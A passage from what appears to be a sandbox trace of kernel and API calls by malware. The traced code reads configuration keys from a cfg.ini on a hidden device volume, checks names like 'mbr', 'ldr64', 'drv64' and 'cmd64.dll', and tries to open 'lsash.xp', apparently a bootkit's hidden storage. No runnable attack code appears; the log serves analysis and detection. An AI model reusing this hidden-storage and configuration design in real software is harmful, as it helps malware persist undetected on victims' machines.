0xfffffa8003baf190 [0120.150] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.150] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.150] IdePortDispatch () returned 0x103 [0120.150] KeWaitForMutexObject () returned 0x0 [0120.150] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.150] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.150] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.150] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.150] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.150] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.150] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.150] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.150] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.150] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.150] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.150] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.150] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.150] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.151] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.151] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.151] KeLeaveCriticalRegion () [0120.151] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.151] ReleaseMutex (hMutex=0x100) returned 1 [0120.151] Sleep (dwMilliseconds=0x2bf20) [0120.157] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6acfb610, dwHighDateTime=0x1d24fa4)) [0120.157] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0120.157] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.157] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.157] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.157] KeEnterCriticalRegion () [0120.157] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.157] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.157] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.157] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.157] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.157] IdePortDispatch () returned 0x103 [0120.157] KeWaitForMutexObject () returned 0x0 [0120.157] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.157] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.157] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.157] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.157] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.157] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80033552e0 [0120.157] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.157] KeLeaveCriticalRegion () [0120.157] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.157] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.157] KeEnterCriticalRegion () [0120.157] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.157] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.157] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.157] KeLeaveCriticalRegion () [0120.158] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.158] KeEnterCriticalRegion () [0120.158] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.158] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.158] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.158] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.158] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.158] IdePortDispatch () returned 0x103 [0120.158] KeWaitForMutexObject () returned 0x0 [0120.158] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.158] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.158] KeLeaveCriticalRegion () [0120.158] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.158] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.158] KeEnterCriticalRegion () [0120.158] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.158] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003406000 [0120.158] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.158] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.158] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.158] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.158] IdePortDispatch () returned 0x103 [0120.158] KeWaitForMutexObject () returned 0x0 [0120.158] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.158] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.158] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.158] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.158] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.158] IdePortDispatch () returned 0x103 [0120.159] KeWaitForMutexObject () returned 0x0 [0120.159] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.159] KeLeaveCriticalRegion () [0120.159] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.159] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.159] KeEnterCriticalRegion () [0120.159] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.159] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.159] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.159] KeLeaveCriticalRegion () [0120.159] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.159] KeEnterCriticalRegion () [0120.159] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.159] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.159] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc21b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.159] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.159] KeLeaveCriticalRegion () [0120.159] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.159] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.159] KeEnterCriticalRegion () [0120.159] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.159] ExFreePoolWithTag (P=0xfffffa80033552e0, Tag=0x0) [0120.159] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.160] KeLeaveCriticalRegion () [0120.160] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.160] ReleaseMutex (hMutex=0xf0) returned 1 [0120.160] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.160] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.160] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.160] KeEnterCriticalRegion () [0120.160] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.160] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.160] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.160] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.160] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.160] IdePortDispatch () returned 0x103 [0120.160] KeWaitForMutexObject () returned 0x0 [0120.160] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.160] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.160] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.160] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.160] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.160] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc2e30 [0120.160] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.160] KeLeaveCriticalRegion () [0120.160] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.160] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.160] KeEnterCriticalRegion () [0120.160] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.160] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.160] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.160] KeLeaveCriticalRegion () [0120.160] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.160] KeEnterCriticalRegion () [0120.160] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.160] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.160] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.160] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.160] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.160] IdePortDispatch () returned 0x103 [0120.161] KeWaitForMutexObject () returned 0x0 [0120.161] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.161] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.161] KeLeaveCriticalRegion () [0120.161] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.161] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.161] KeEnterCriticalRegion () [0120.161] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.161] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003407000 [0120.161] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.161] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.161] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.161] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.161] IdePortDispatch () returned 0x103 [0120.161] KeWaitForMutexObject () returned 0x0 [0120.161] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.161] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.161] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.161] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.161] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.161] IdePortDispatch () returned 0x103 [0120.161] KeWaitForMutexObject () returned 0x0 [0120.162] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.162] KeLeaveCriticalRegion () [0120.162] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.162] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.162] KeEnterCriticalRegion () [0120.162] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.162] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.162] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.162] KeLeaveCriticalRegion () [0120.162] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.162] KeEnterCriticalRegion () [0120.162] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.162] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.162] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcdd20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.162] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.162] KeLeaveCriticalRegion () [0120.162] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.162] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.162] KeEnterCriticalRegion () [0120.162] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.162] ExFreePoolWithTag (P=0xfffffa8003bc2e30, Tag=0x0) [0120.162] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.162] KeLeaveCriticalRegion () [0120.162] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.162] ReleaseMutex (hMutex=0xf0) returned 1 [0120.162] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.162] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0120.163] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.163] KeEnterCriticalRegion () [0120.163] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.163] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.163] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.163] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.163] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.163] IdePortDispatch () returned 0x103 [0120.163] KeWaitForMutexObject () returned 0x0 [0120.163] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.163] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.163] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.163] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.163] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.163] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc2940 [0120.163] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.163] KeLeaveCriticalRegion () [0120.163] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.163] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.163] KeEnterCriticalRegion () [0120.163] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.163] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.163] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.163] KeLeaveCriticalRegion () [0120.163] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.163] KeEnterCriticalRegion () [0120.163] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.163] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.163] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.163] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.163] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.163] IdePortDispatch () returned 0x103 [0120.163] KeWaitForMutexObject () returned 0x0 [0120.164] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.164] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.164] KeLeaveCriticalRegion () [0120.164] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.164] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.164] KeEnterCriticalRegion () [0120.164] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.164] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003408000 [0120.164] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.164] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.164] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.164] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.164] IdePortDispatch () returned 0x103 [0120.164] KeWaitForMutexObject () returned 0x0 [0120.164] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.164] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.164] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.164] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.164] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.164] IdePortDispatch () returned 0x103 [0120.164] KeWaitForMutexObject () returned 0x0 [0120.164] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.164] KeLeaveCriticalRegion () [0120.164] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.165] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.165] KeEnterCriticalRegion () [0120.165] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.165] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.165] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.165] KeLeaveCriticalRegion () [0120.165] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.165] KeEnterCriticalRegion () [0120.165] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.165] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.165] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcd9d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.165] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.165] KeLeaveCriticalRegion () [0120.165] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.165] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.165] KeEnterCriticalRegion () [0120.165] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.165] ExFreePoolWithTag (P=0xfffffa8003bc2940, Tag=0x0) [0120.165] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.165] KeLeaveCriticalRegion () [0120.165] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.165] ReleaseMutex (hMutex=0xf0) returned 1 [0120.165] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0120.165] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0120.165] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0120.165] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 